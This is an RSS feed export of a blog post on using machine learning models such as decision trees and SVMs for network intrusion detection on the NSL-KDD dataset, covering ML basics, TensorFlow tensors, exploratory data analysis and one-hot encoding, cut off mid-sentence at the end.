<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Mohammed]]></title><description><![CDATA[CYBERSECURITY, DevOps, & AI]]></description><link>https://blog.mohammedx.tech/</link><image><url>https://blog.mohammedx.tech/favicon.png</url><title>Mohammed</title><link>https://blog.mohammedx.tech/</link></image><generator>Ghost 5.75</generator><lastBuildDate>Thu, 07 May 2026 11:30:06 GMT</lastBuildDate><atom:link href="https://blog.mohammedx.tech/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Machine Learning Models in Network Security]]></title><description><![CDATA[<h2 id="introduction"><strong>Introduction</strong></h2><p>Information system security is increasingly critical as digital transformation expands and cyber-attacks grow in complexity. While greater connectivity and widespread device usage have enabled unprecedented access to information and services, they have also introduced new vulnerabilities. Intrusion Detection Systems (IDS) play a big role in monitoring network traffic and</p>]]></description><link>https://blog.mohammedx.tech/machine-learning-models/</link><guid isPermaLink="false">694dd51337852e00013cb519</guid><category><![CDATA[AI]]></category><dc:creator><![CDATA[Mohammed Alshukaili]]></dc:creator><pubDate>Fri, 26 Dec 2025 00:41:33 GMT</pubDate><media:content url="https://blog.mohammedx.tech/content/images/2025/12/deep-learning-vs-machine-learning-t.jpg" medium="image"/><content:encoded><![CDATA[<h2 id="introduction"><strong>Introduction</strong></h2><img src="https://blog.mohammedx.tech/content/images/2025/12/deep-learning-vs-machine-learning-t.jpg" alt="Machine Learning Models in Network Security"><p>Information system security is increasingly critical as digital transformation expands and cyber-attacks grow in complexity. While greater connectivity and widespread device usage have enabled unprecedented access to information and services, they have also introduced new vulnerabilities. Intrusion Detection Systems (IDS) play a big role in monitoring network traffic and identifying suspicious activity, but traditional IDS struggle to keep pace with modern cyber threats.</p><p>Artificial Intelligence (AI) and Machine Learning (ML) offer promising solutions to enhance intrusion detection by improving adaptability and detection accuracy. This study explores the application of ML techniques to IDS using the widely adopted NSL-KDD dataset, a benchmark for evaluating intrusion detection models. By analyzing different ML approaches and their effectiveness in detecting various network attacks, this research aims to contribute to the development of more robust and flexible cybersecurity defenses aligned with current industry trends.</p><hr><h2 id="problem-description"><strong>Problem Description </strong></h2><p>The rising number of cyberattacks shows a significant threat to network security worldwide. Although traditional intrusion detection systems (IDS) have been widely used to identify threats, they often suffer from high false positives, limited adaptability to new attack types, and high maintenance costs. These limitations highlight the need for more flexible and intelligent detection approaches.</p><p>Machine learning (ML) offers a promising solution by learning patterns and anomalies from data. However, its effectiveness depends on data quality, feature selection, and robust algorithm choice. Despite being an improvement over KDD&#x2019;99, the NSL-KDD dataset still faces challenges such as class imbalance, outdated attack samples, and limited representation of emerging threats.</p><p>This research applies multiple ML techniques to the NSL-KDD dataset to identify effective models for intrusion detection, with the aim of improving IDS accuracy, efficiency, and adaptability against evolving cyber threats.</p><hr><h2 id="scope"><strong>Scope</strong></h2><p>The objective of this project is to examine the use of machine learning techniques for intrusion detection using the NSL-KDD dataset. The study focuses on exploratory data analysis to understand dataset structure and intrusion characteristics, and on evaluating several classification models, including Decision Trees, Random Forests, Support Vector Machines (SVM), and Neural Networks.</p><p>Model performance is assessed using accuracy, precision, recall, and F1 score to identify the most effective approaches for detecting different types of intrusions. The research also acknowledges the limitations of the NSL-KDD dataset, particularly its representativeness of real-world traffic and the evolving nature of cyber threats. While deployment in real network environments is outside the project scope, the study aims to provide valuable theoretical insights into the strengths and limitations of machine learning&#x2013;based intrusion detection systems.</p><hr><h2 id="research-questions"><strong>Research Questions</strong></h2><p><strong>Main Question</strong>: How can Artificial Intelligence and Machine Learning be leveraged to improve the detection of network intrusions and enhance cybersecurity defences using the NSL-KDD dataset?</p><p><strong>Sub Questions</strong>: </p><ul><li>What are the fundamental AI and ML concepts and techniques essential for developing an effective intrusion detection system?</li><li>How does Exploratory Data Analysis (EDA) contribute to understanding the NSL-KDD dataset, and what insights can it provide to inform the development of a moreaccurate intrusion detection model?</li><li>What are some effective machine learning models for intrusion detection incybersecurity, and how do they compare in terms of accuracy, performance, andscalability when applied to the NSL-KDD dataset?</li></ul><hr><h2 id="question-1"><strong>Question 1</strong></h2><p><strong>What are the fundamental AI and ML concepts and techniques essential for developing an effective intrusion detection system?</strong></p><p>Artificial Intelligence (AI)<strong>: </strong>Artificial intelligence (AI) is the capacity of a computer or robot under computer control to carry out operations typically performed by intelligent things. The phrase is commonly used to describe the work of creating artificial intelligence systems that possess like a human ability in areas like reasoning, meaning-finding, generalization, and experience-based learning. (Copeland, 2024)</p><p>Machine Learning (ML): Machine learning is a subset of artificial intelligence (AI). It includes image recognition systems, self-driving cars, and products like Amazon&#x2019;s Alexa. This involves using data and algorithms to emulate the way humans learn enabling machines to do precise predictions, classifications, or the extraction of insights driven by data. Machine learning is about teaching a computer by feeding it lots of data enabling it toguess outcomes, spot patterns, or sort data. There are three kinds of machine learning: supervised, unsupervised, and reinforcement learning. (Staff, 2023)</p><p>Supervised learning: Supervised learning is a type of machine learning that is expected to be the most used in businesses, as per Gartner, a business consulting company. This method is being used by providing the models past data. The machine gets both the input and expected output. Then, it processes these to make its future outputs as accurate as possible. Methods like neural networks, decision trees, and linear regression are common in supervised learning. In supervised learning, the machine is guided, or &quot;supervised,&quot; during its learning. It&apos;s given labelled data as the outcome it needs to learn, and other data as input features to work with. (Staff, 2023) </p><p>Unsupervised learning: Unsupervised learning, unlike supervised learning, doesn&apos;t rely on labelled training sets. Instead, it allows the machine to discover less apparent patterns in the data by itself. Algorithms commonly used in unsupervised learning include Hidden Markov models, k- means clustering, hierarchical clustering, and Gaussian mixture models. Prediction modelling is one of the many uses for unsupervised learning. It is frequently used for association (finding the rules that connect these groups) and clustering, which groups objects according to their characteristics. Organizing inventory based on manufacturing or sales metrics, classifying customers based on their purchasing patterns, and identifying connections within customer data (such as patterns in the purchases of goods) are a few real-world examples. (Staff, 2023)</p><p>Reinforcement learning: One kind of machine learning that closely resembles how people learn is called reinforcement learning. This method involves an algorithm, or &quot;agent,&quot; that learns through interactions with its surroundings and the provision of positive or negative rewards. Q-learning, deep adversarial networks, and temporal difference are important algorithms in this field. For example, in a game where we want a car to reach the finish line as soon as possible, we would let the car explore the field by itself and reward it when going the correct direction and take away the rewards when going the wrong direction. This lets the model do the correct job without providing it with any data. (Staff, 2023) Several machine learning models can be especially useful when analyzing Zeek logs for anomaly detection. Zeek logs are a rich source of network data, and the choice of model depends on the specific aspects of network traffic that is being captured. Here are some models that are commonly used:</p><p>Decision Trees: Decision trees are a type of supervised machine learning algorithm that is used for classification and regression tasks. They make decisions based on asking a series of questions. Structure of a decision trees</p><ul><li>Root Node: This is where the tree starts.</li><li>Splitting: dividing the node into 2 or more sub-nodes based on certain conditions.</li><li>Decision/Internal Node: After the first split, each sub-node becomes a decision/Internal node and can be split further.</li><li>Leaf Node: Last nodes that have no further splits.</li></ul><p>The diagram (Figure 1 Structure of a Decision Tree) clearly visualizes each component of a decision tree, showing how data is segmented at different levels based on diverse conditions until a decision is reached at the leaf nodes.</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1596" height="724" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/12/image.png 1000w, https://blog.mohammedx.tech/content/images/2025/12/image.png 1596w" sizes="(min-width: 720px) 720px"></figure><p><strong>How to choose the best attribute at each node?</strong></p><p>There are many techniques for choosing the best attribute at each node in decision tree models. Information gain and Gini impurity are two widely used methods. These techniques assess the effectiveness of each potential next split by categorizing data into classes. To understand how these methods work, it is essential to start with the concept of entropy. Entropy is a measure of the impurity in a set of data. It helps to determine how a&#xA0;decision tree should split the data at each node</p><p><strong>Numpy</strong></p><p>In order to start working with machine learning models, I need to learn Numpy. Numpy is a library in Python that simplifies working with arrays. Here are some of the things that I learned about Numpy: numpy.where: To find a value inside an array. numpy.ones((x,x)): To generate a matrix (x columns, x rows). numpy.zeros((6,6)): This creates 6*6 matrix all zeros. numpy.max(x): Get the maximum value in an array. x.transpose(): To change from a row vector to a column vector. numpy.sum(x): Get the sum of x (NumPy: The Absolute Basics for Beginners &#x2014; NumPy v1.26 Manual, 2023)</p><p><strong>Tensorflow</strong></p><p>TensorFlow is an open-source library for machine learning, flexible tools for building and training models to derive insights and predictions from data. I will go through some of the basics in order to start designing my own models to analyze zeek traffic. </p><p>This is how to create a Tensor with multiple float variables: x = tf.Variable(initial_value=[10., 20., 30.], name=&apos;float_tensor&apos;) </p><p>In order to add a new dimension to a Tensor, we can add [] to the values: x = tf.Variable([[10, 20, 30]], dtype=tf.float32 ) </p><p>Move x to 3 dimensions: x = tf.Variable([[[10, 20, 30]]], dtype=tf.float32, name=&apos;tf_float_variable&apos; ) </p><p>Let&#x2019;s print the value of x:</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-1.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1614" height="224" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-1.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/12/image-1.png 1000w, https://blog.mohammedx.tech/content/images/size/w1600/2025/12/image-1.png 1600w, https://blog.mohammedx.tech/content/images/2025/12/image-1.png 1614w" sizes="(min-width: 720px) 720px"></figure><p>This is a &apos;scalar&apos; or &apos;rank-0&apos; tensor. A scalar consists of just one value and does not have any &apos;axes&apos;.</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-2.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="762" height="234" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-2.png 600w, https://blog.mohammedx.tech/content/images/2025/12/image-2.png 762w" sizes="(min-width: 720px) 720px"></figure><p>&quot;A &apos;vector&apos; or &apos;rank-1&apos; tensor is similar to a list of values. It has one axis:&quot;</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-3.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1034" height="262" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-3.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/12/image-3.png 1000w, https://blog.mohammedx.tech/content/images/2025/12/image-3.png 1034w" sizes="(min-width: 720px) 720px"></figure><p>A &apos;matrix&apos; or &apos;rank-2&apos; tensor is characterized by having two axes:</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-4.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1196" height="492" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-4.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/12/image-4.png 1000w, https://blog.mohammedx.tech/content/images/2025/12/image-4.png 1196w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-5.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1536" height="400" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-5.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/12/image-5.png 1000w, https://blog.mohammedx.tech/content/images/2025/12/image-5.png 1536w" sizes="(min-width: 720px) 720px"></figure><p>A tensor can be converted into a NumPy array using either np.array or the tensor.numpy method:</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-6.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="774" height="318" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-6.png 600w, https://blog.mohammedx.tech/content/images/2025/12/image-6.png 774w" sizes="(min-width: 720px) 720px"></figure><p>Some of the previous images contain the word shape, what is shape?Tensors have shapes: Shape: The count of elements along each axis of a tensor. Rank: The total number of axes in a tensor. Scalars are rank 0, vectors rank 1, and matrices rank 2. Axis or Dimension: A specific dimension within a tensor. Size: The overall quantity of items in the tensor, determined by multiplying the elements of the shape vector.</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-7.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1606" height="784" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-7.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/12/image-7.png 1000w, https://blog.mohammedx.tech/content/images/size/w1600/2025/12/image-7.png 1600w, https://blog.mohammedx.tech/content/images/2025/12/image-7.png 1606w" sizes="(min-width: 720px) 720px"></figure><p>tf.zeros can be used to create Tensors that contain zeros with the provided shape.</p><p><strong>More about shapes:</strong></p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-8.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1574" height="316" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-8.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/12/image-8.png 1000w, https://blog.mohammedx.tech/content/images/2025/12/image-8.png 1574w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-9.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1224" height="266" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-9.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/12/image-9.png 1000w, https://blog.mohammedx.tech/content/images/2025/12/image-9.png 1224w" sizes="(min-width: 720px) 720px"></figure><p>A tensor can be reshaped into a different shape. The tf.reshape function is efficient and cost-effective, as it doesn&apos;t require duplicating the original data.</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-10.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1000" height="464" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-10.png 600w, https://blog.mohammedx.tech/content/images/2025/12/image-10.png 1000w" sizes="(min-width: 720px) 720px"></figure><p></p><p><strong>Linear Regression:</strong> Linear Regression is a fundamental algorithm in data science. It is used to predict the association between two variables based on the presumption of a linear link between the independent and dependent variables. Its goal is to find the best-fit line that reduces the total squared differences between the predicted and actual values.</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-11.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1678" height="1382" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-11.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/12/image-11.png 1000w, https://blog.mohammedx.tech/content/images/size/w1600/2025/12/image-11.png 1600w, https://blog.mohammedx.tech/content/images/2025/12/image-11.png 1678w" sizes="(min-width: 720px) 720px"></figure><p>The blue dots are the training data that was provided to the function, based on the training data, this function creates a line that minimize the destination between the line and the dots. Then, the line will be used to predict new values. As you can see, the line was created based on the training data, and after we try to predict new values, it puts them on the line (green dots). Here is the code for this output:</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-12.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1794" height="1400" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-12.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/12/image-12.png 1000w, https://blog.mohammedx.tech/content/images/size/w1600/2025/12/image-12.png 1600w, https://blog.mohammedx.tech/content/images/2025/12/image-12.png 1794w" sizes="(min-width: 720px) 720px"></figure><p></p><p><strong>Support Vector Machines: </strong>Support vector machines (SVMs) is a famous supervised ML method that is being used for classification and outliers&#x2019; detection. One of the advantages of Support vector machines is that it works with low and high dimensional spaces. SVM focuses on identifying a hyperplane that optimally separates two classes. SVM is similar to logistic regression, however it is important to highlight that their approach differ fundamentally. Which hyperplane does it select? There can be millions of hyperplanes can classify the objects into 2 categories. So, how does SVM know which is the best?</p><p>SVM picks the best hyperplane by finding the maximum margin between the hyperplanes. This means that it selects the maximum distance between 2 objects (classes). SVM algorithms can be categorized into two types: </p><ul><li>Linear SVM: This is used when the dataset can be linearly separable, meaning that the data points can be classified into two categories with a single straight line.</li><li>Non-Linear SVM: This is used when the dataset is not linearly separable, meaning the data points cannot be divided into two classes using a straight line in a two-dimensional view, we use Non-Linear SVM.</li></ul><p>The main terms in SVM are:</p><ul><li>Support Vectors: These are the closest data points to the hyperplane in an SVM mode. The position of the hyperplane is mainly influenced by these points.</li><li>Margin: This is the gap between the hyperplane and the nearest data points (the support vectors).</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-13.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1474" height="970" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-13.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/12/image-13.png 1000w, https://blog.mohammedx.tech/content/images/2025/12/image-13.png 1474w" sizes="(min-width: 720px) 720px"></figure><p><strong>Bias</strong>: It can be referred to the errors in a machine learning algorithm. High bias means bad algorithm as it is more likely to give wrong predictions.</p><p><strong>Variance</strong>: High variance means that the algorithm is not consistent with multiple datasets, in some datasets it has low bias, and in others it has high bias. </p><p><strong>Cross validation</strong>: This helps to choose the best machine learning method for a specific purpose. It allows us to compare different machine learning methods and get a sense of how well they will work. When trying to choose the best ML method, we train 80% of the dataset and 20% to test the accuracy of the dataset. However, how to know which piece of data to train and which to test? Cross validation solves this problem by training and testing all the pieces in the dataset and return the best fit.</p><p><strong>Kernel tricks</strong>: It transforms the dataset into a higher dimension where a hyperplane can effectively separate the classes.</p><p>Now, to understand SVM more, I will write simple Python code that uses SVM.</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-14.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1718" height="1634" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-14.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/12/image-14.png 1000w, https://blog.mohammedx.tech/content/images/size/w1600/2025/12/image-14.png 1600w, https://blog.mohammedx.tech/content/images/2025/12/image-14.png 1718w" sizes="(min-width: 720px) 720px"></figure><p>This is Jupyter notebook that implements a very basic SVM model. The plot shows that the model creates a hyperplane based on the distance between the closest data points.</p><p>Now, I want to make the model classifies (predicts) new data points. I added a new array that contains new data points that I want the model to classify:</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-15.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1602" height="1494" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-15.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/12/image-15.png 1000w, https://blog.mohammedx.tech/content/images/size/w1600/2025/12/image-15.png 1600w, https://blog.mohammedx.tech/content/images/2025/12/image-15.png 1602w" sizes="(min-width: 720px) 720px"></figure><p>As seen above, the model predicts the location of the new data points and place them in their correct class.</p><p><strong>Conclusion</strong></p><p>Understanding the nature of entropy and information gain, as illustrated through the decision tree model, allows cyber security professionals to implement effective anomaly detection systems. With the right approach to training and the application of concepts like entropy in supervised learning, machine learning models can be trained to recognize and flag unusual patterns in network logs that could indicate a security threat. Furthermore, the integration of machine learning within big datasets would enhance the capability to automate the detection of anomalies in network traffic. By employing models such as decision trees, support vector machines, and others, organizations can effectively respond to potential cyber security incidents.</p><hr><p></p><h2 id="question-2"><strong>Question 2</strong></h2><p><strong>How does Exploratory Data Analysis (EDA) contribute to understanding the NSL-KDD dataset, and what insights can it provide to inform the development of a more accurate intrusion detection model?</strong></p><hr><p>What is EDA?</p><p>Data scientists utilize exploratory data analysis (EDA) to examine datasets, highlighting their key features frequently using data visualization techniques. EDA helps determine the best methods for processing data sources to extract the necessary insights, making it easier for data scientists to find patterns, spot anomalies, test theories, or confirm presumptions. EDA&apos;s primary goal is to assist in examining data before drawing any conclusions. It can assist in locating glaring errors, better understanding data patterns, spotting outliers or unusual occurrences, and discovering intriguing correlations between the variables. Exploratory analysis is a tool that data scientists can use to make sure the results they generate are reliable and relevant to any intended business objectives. By ensuring that stakeholders are asking appropriate inquiries, EDA also benefits them. Standard deviations, categorical variables, and confidence intervals are among the topics that EDA can assist with. The features of EDA can be applied to more complex data analysis or modeling, such as machine learning, after it is finished, and conclusions have been drawn.</p><hr><p><strong>Exploratory data analysis tools</strong></p><p>With EDA tools, you can perform a range of statistical procedures and methods, such as:</p><ul><li>methods for dimension reduction and clustering that help to visualize high-dimensional data with lots of different variables.</li><li>presentation of individual attribute visualizations from the raw data set combined with summary statistics.</li><li>Multivariate visualizations are useful for understanding and mapping the relationships between various data fields.</li><li>K-means clustering is an unsupervised learning clustering technique in which data points are grouped into K groups, or the total number of clusters, according to how far they are from the centroid of each group. The data points that fall into the same category are those that are closest to a given centroid. Pattern recognition, picture compression, and market segmentation are three common applications of K-means clustering.</li><li>Data and statistics are used by predictive models, like linear regression, to forecast outcomes.</li></ul><hr><p><strong>Understanding the NSL-KDD Dataset </strong></p><p><strong>Dataset Overview</strong></p><p> Tavallaee et al. (2009) state that the NSL-KDD dataset is a publicly accessible resource that was created from the previous KDD Cup99 dataset. An inaccurate assessment of Automated Intrusion Detection Systems (AIDS) resulted from a statistical analysis of the Cup99 dataset, which revealed important problems that significantly impact intrusion detection accuracy. The primary issue with the KDD dataset, as analyzed by Tavallaee et al. (2009), is the substantial number of duplicate packets present. Their analysis of both the training and testing sets revealed that approximately 78% and 75% of network packets, respectively, were duplicates. </p><p>Because there are a lot of duplicate instances in the training set, machine learning techniques may be biased toward typical cases and unable to learn from the irregular instances, which frequently pose more serious risks to computer systems. Tavallaee et al. removed duplicate records from the KDD Cup&apos;99 dataset in 2009 in order to create the NSL-KDD dataset, which addresses the issues found in that dataset. There are 125,973 records in the NSL-KDD training dataset and 22,544 records in the test dataset. Because of its manageable size, the NSL-KDD dataset can be used for research purposes without the need for random sampling, which has resulted in consistent and comparable results across studies. The NSL-KDD dataset has 41 attributes and includes 22 training intrusion attacks. Of these, a full set of features for analysis in intrusion detection research are provided by the 19 attributes that describe the nature of connections within the same host and the 21 attributes that relate to the characteristics of the connection. (Saylor Academy, 2023)</p><hr><p><strong>Feature Composition</strong></p><p>To address the &quot;Feature Composition&quot; of the NSL-KDD dataset for intrusion detection systems, we dive into the types of features included in the dataset, their data types, and their relevance to identifying potential security threats. Here is a closer look at the NSL- KDD dataset&apos;s feature composition:</p><p><strong>Types of Features in NSL-KDD</strong></p><p>The NSL-KDD datasets includes 42 features (columns) including a label feature that categorizes each connection as either normal or an attack. The types of attacks are also subdivided into four categories:</p><ul><li>DoS (Denial of Service)</li><li>R2L (Remote to Local)</li><li>U2R (User to Root)</li><li>Probe</li></ul><p>All the features in the dataset can be categorized into three main types:</p><ul><li>Basic Features: Basic Features encompass attributes extracted directly from packet headers, such as connection duration, protocol type, service requested, and flag status, representing core network connection qualities easily identifiable from network traffic</li><li>Content Features: Content Features analyze packet payloads for anomalies, such as failed login attempts, crucial for detecting U2R and R2L attacks involving abnormal data transmissions.</li><li>Traffic Features: These features track the connections where the same host is trying to connect to the same service. This can be helpful when trying to detect DoS attacks.</li></ul><hr><p><strong>Data Types of Features</strong></p><ul><li>Numerical Features: Most features in the dataset are numerical.</li><li>Categorical Features: Some features are categorical, representing types of protocols (e.g., tcp, udp, icmp), services (e.g., http, ftp, telnet), and network connection status (e.g., SF, S1, REJ). These features often require preprocessing, to be used effectively in machine learning models.</li></ul><hr><p><strong>Identifying Key Features</strong></p><p>The dataset contains over 40 columns, making it important to choose only the key features that are relevant to determining if a particular connection is an attack or benign. </p><p>Using my knowledge of cybersecurity, I carefully looked over each column in the dataset and chose a few features that seemed relevant to my objective. The selected features and their descriptions are listed below:</p><ul><li>&#x2018;duration&#x2019;: The length of the connection.</li><li>&#x2018;protocol_type&#x2019;: The type of the used protocol like tcp, udp, etc.</li><li>&#x2018;service&#x2019;: The network service like http, telnet, ssh, etc.</li><li>&#x2018;flag&#x2019;: The status of the connection like S0, S1, etc.</li><li>&#x2018;src_bytes&#x2019;: The number of the data bytes from source to destination.</li><li>&#x2018;dst_bytes&#x2019;: The number of data bytes from destination to source.</li><li>&#x2018;logged_in&#x2019;: This is binary column where 1 means a successfully login and 0 otherwise.</li><li>&#x2018;is_host_login&#x2019;: This is binary column where 1 means the login belonged to the &quot;host&quot; list and 0 otherwise.</li><li>&#x2018;is_guest_login&#x2019;: 1 if the login is a &quot;guest&quot; login and 0 otherwise.</li><li>&#x2018;attack&#x2019;: There is a column in the dataset that says whether that connection is normal or a type of an attack. There are many types of attack mentioned. Therefore, I will categorize all the type of attacks as only one value (attack) to make it a binary column (normal &amp; attack).</li></ul><hr><p><strong>Identifying Key Features using Feature Selection</strong></p><p>Hans mentioned that it is good to use my experience to pick the important features. However, he advised me to try and implement Feature Selection method to find the best possible features in my dataset. First, I will use mutual information classifier to evaluate feature importance. Then I will use SelectKBest to select the number of features that I want.</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-16.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="900" height="1160" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-16.png 600w, https://blog.mohammedx.tech/content/images/2025/12/image-16.png 900w" sizes="(min-width: 720px) 720px"></figure><p>Here is a scatter plot that shows the most relevant features:</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-17.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1098" height="1146" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-17.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/12/image-17.png 1000w, https://blog.mohammedx.tech/content/images/2025/12/image-17.png 1098w" sizes="(min-width: 720px) 720px"></figure><p>Then, I use SelectKBest to choose the features and assign them into new variable:</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-18.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="1142" height="802" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-18.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/12/image-18.png 1000w, https://blog.mohammedx.tech/content/images/2025/12/image-18.png 1142w" sizes="(min-width: 720px) 720px"></figure><p>I faced an issue with the selected features; the machine learning models only handle numeric values, yet some of my features are in string format. In search of a solution, I discovered a technique known as One-hot encoding, which I will explore in the following chapter.</p><hr><p><strong>One-hot encoding</strong></p><p>What is Categorical Data?</p><p>Categorical data refers to variables that carry label values instead of numerical ones. Normally, the values are in a fixed set.</p><ul><li>A &#x201C;pet&#x201D; variable might include options like &#x201C;dog&#x201D; and &#x201C;cat&#x201D;.</li><li>A &#x201C;color&#x201D; variable could offer choices such as &#x201C;red&#x201D;, &#x201C;green&#x201D;, and &#x201C;blue&#x201D;.</li><li>A &#x201C;place&#x201D; variable might list rankings like &#x201C;first&#x201D;, &#x201C;second&#x201D;, and &#x201C;third&#x201D;.</li></ul><p><strong>The Problem with Categorical Data</strong></p><p>Some algorithms are meant to work with categorical data straight out of the box. Decision trees, for example, have the ability to learn directly from categorical data. But a lot of machine learning algorithms aren&apos;t designed to handle label data in its original form. They demand that the variables be presented in numerical form for both the input and the output.</p><p><strong>How to Convert Categorical Data to Numerical Data?</strong></p><p>Integer Encoding In the first phase of preparing categorical data for machine learning models, each unique category is assigned a specific integer. For example, the assignment could be set up so that &quot;blue&quot; goes with 3, &quot;green&quot; with 2, and &quot;red&quot; with 1. This is called integer encoding or label encoding, and it is easily reversed. This method might be more than suitable for some kinds of data. </p><p>Some machine learning algorithms can identify and make use of a naturally ordered relationship in the numerical values assigned by this method. This is especially true for ordinal variables, where the values&apos; order has significance. An illustration of this would be the previously discussed &quot;place&quot; variable, for which label encoding accurately captures the first, second, and third categories&apos; natural order, making it a useful technique for variables of this type.</p><p><strong>One-Hot Encoding</strong></p><p>For categorical variables where no such ordinal relationship exists, the integer encoding is not enough. Label encoding, which simply assigns integers to categorical variables without a foundational ordinal relationship, may not be the optimal approach for these variables. The model&apos;s performance may suffer or unexpected results, like predictions that fall illogically between categories, may result from relying too heavily on integer encoding, which could lead to incorrect inference of a natural order among categories. To address this issue, one-hot encoding is employed as an alternative strategy. This approach involves replacing the integer-encoded variable with new binary variables, each representing a unique category value. Essentially, for every unique category, a distinct binary variable is created: this variable is set to &quot;1&quot; for its corresponding category and &quot;0&quot; for all others.</p><p>Given the three categories (&quot;red&quot;, &quot;green&quot;, and &quot;blue&quot;) in the &quot;color&quot; example, one-hot encoding would produce three binary variables. For example, if the color is &quot;green,&quot; the encoding would be [0, 1, 0], where &quot;green&quot; is indicated by a &quot;1&quot; in the second position, and &quot;red&quot; and &quot;blue&quot; are represented by &quot;0&quot; in the first and last positions, respectively. This approach captures each category&apos;s existence or absence efficiently without suggesting a hierarchy. (Brownlee, 2020)</p><hr><p><strong>Conclusion</strong></p><p>Based on the comprehensive analysis of Exploratory Data Analysis (EDA) and its critical role in data science, as well as the detailed exploration of the NSL-KDD dataset for intrusion detection systems, we can draw several conclusions. An essential first step in the data analysis process is exploratory data analysis. It gives data scientists the knowledge and resources they need to fully comprehend their dataset, find underlying patterns, spot anomalies, and test theories. EDA facilitates the effective communication of the story of the data through a variety of statistical methods and data visualization techniques, enabling well-informed decision-making and strategic planning. The importance of EDA is found in its capacity to direct the choice of suitable modeling and data processing methods, guaranteeing that the analysis is in line with the current business goals and inquiries. The investigation of one-hot encoding 